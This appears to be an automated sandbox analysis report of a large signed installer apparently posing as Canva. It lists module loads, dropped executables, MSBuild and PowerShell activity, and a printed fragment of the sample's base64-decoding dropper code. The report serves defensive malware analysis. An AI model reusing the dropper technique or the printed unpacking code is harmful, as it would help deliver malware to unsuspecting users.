Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: security.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: security.dll
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: shdocvw.dll
Source: C:\Windows\SysWOW64\more.com	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\more.com	Section loaded: fsutilext.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll

Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: Canva.lnk.1.dr	LNK file: ..\..\..\..\..\..\Program Files (x86)\Canva\Canva.exe
Source: rxl.9.dr	LNK file: ..\..\Roaming\sto\coml.exe
Source: BIT2493.tmp.11.dr	LNK file: ..\..\Roaming\sto\coml.exe

Reads the Windows registered owner settings

Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Executable creates window controls seldom found in malware

Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp

Window found: window name: TSelectLanguageForm

Jump to behavior

Found GUI installer (many successful clicks)

Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Automated click: Install
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Automated click: Next

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Uses Microsoft Silverlight

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

PE / OLE file has a valid certificate

Source: 9VbeqQbgU4.exe

Static PE information: certificate valid

Submission file is bigger than most known malware samples

Source: 9VbeqQbgU4.exe

Static file information: File size 87653216 > 1048576

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: 9VbeqQbgU4.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Binary contains paths to debug symbols

Source:	Binary string: C:\Dev\elevate\bin\x86\Release\Elevate.pdb source: 9VbeqQbgU4.tmp, 00000001.00000002.2501521506.0000000000CEC000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: dobi.exe, 00000008.00000002.2236044707.000001F716DFC000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000008.00000002.2299287340.000001F717CB0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: more.com, 00000009.00000002.2391978998.00000000045A0000.00000004.00001000.00020000.00000000.sdmp, more.com, 00000009.00000002.2391538206.00000000040CC000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653114881.0000000004843000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653446544.0000000004D20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: dobi.exe, 00000008.00000002.2236044707.000001F716DFC000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000008.00000002.2299287340.000001F717CB0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: more.com, 00000009.00000002.2391978998.00000000045A0000.00000004.00001000.00020000.00000000.sdmp, more.com, 00000009.00000002.2391538206.00000000040CC000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653114881.0000000004843000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653446544.0000000004D20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbE4 source: powershell.exe, 00000005.00000002.2314056734.0000000007822000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String($encodedData);[System.IO.File]::WriteAllBytes($archiveFile, $decodedBytes);New-Item -ItemType Directory -Path $installPath;Expand-Archive -Path $archiveFile -DestinationPath $installP

PE file contains sections with non-standard names

Source: 9VbeqQbgU4.exe	Static PE information: section name: .didata
Source: 9VbeqQbgU4.tmp.0.dr	Static PE information: section name: .didata
Source: is-NTUV2.tmp.1.dr	Static PE information: section name: .gxfg
Source: is-NTUV2.tmp.1.dr	Static PE information: section name: .retplne
Source: is-NTUV2.tmp.1.dr	Static PE information: section name: _RDATA
Source: is-MJD08.tmp.1.dr	Static PE information: section name: .gxfg
Source: is-MJD08.tmp.1.dr	Static PE information: section name: .retplne
Source: is-MJD08.tmp.1.dr	Static PE information: section name: _RDATA
Source: is-30SPE.tmp.1.dr	Static PE information: section name: .gxfg
Source: is-30SPE.tmp.1.dr	Static PE information: section name: .retplne
Source: is-30SPE.tmp.1.dr	Static PE information: section name: _RDATA
Source: is-8GQDF.tmp.1.dr	Static PE information: section name: .didata
Source: is-NHDMN.tmp.1.dr	Static PE information: section name: .gxfg
Source: is-NHDMN.tmp.1.dr	Static PE information: section name: .retplne
Source: is-NHDMN.tmp.1.dr	Static PE information: section name: .rodata
Source: is-NHDMN.tmp.1.dr	Static PE information: section name: CPADinfo
Source: is-NHDMN.tmp.1.dr	Static PE information: section name: LZMADEC
Source: is-NHDMN.tmp.1.dr	Static PE information: section name: _RDATA
Source: is-NHDMN.tmp.1.dr	Static PE information: section name: malloc_h
Source: is-9L22V.tmp.1.dr	Static PE information: section name: .gxfg
Source: is-9L22V.tmp.1.dr	Static PE information: section name: .retplne
Source: is-9L22V.tmp.1.dr	Static PE information: section name: _RDATA
Source: is-9V9DF.tmp.1.dr	Static PE information: section name: .gxfg
Source: is-9V9DF.tmp.1.dr	Static PE information: section name: .retplne
Source: is-9V9DF.tmp.1.dr	Static PE information: section name: _RDATA
Source: dobi.exe.5.dr	Static PE information: section name: .didata
Source: BITA54F.tmp.11.dr	Static PE information: section name: .didata

Uses code obfuscation techniques (call, push, ret)

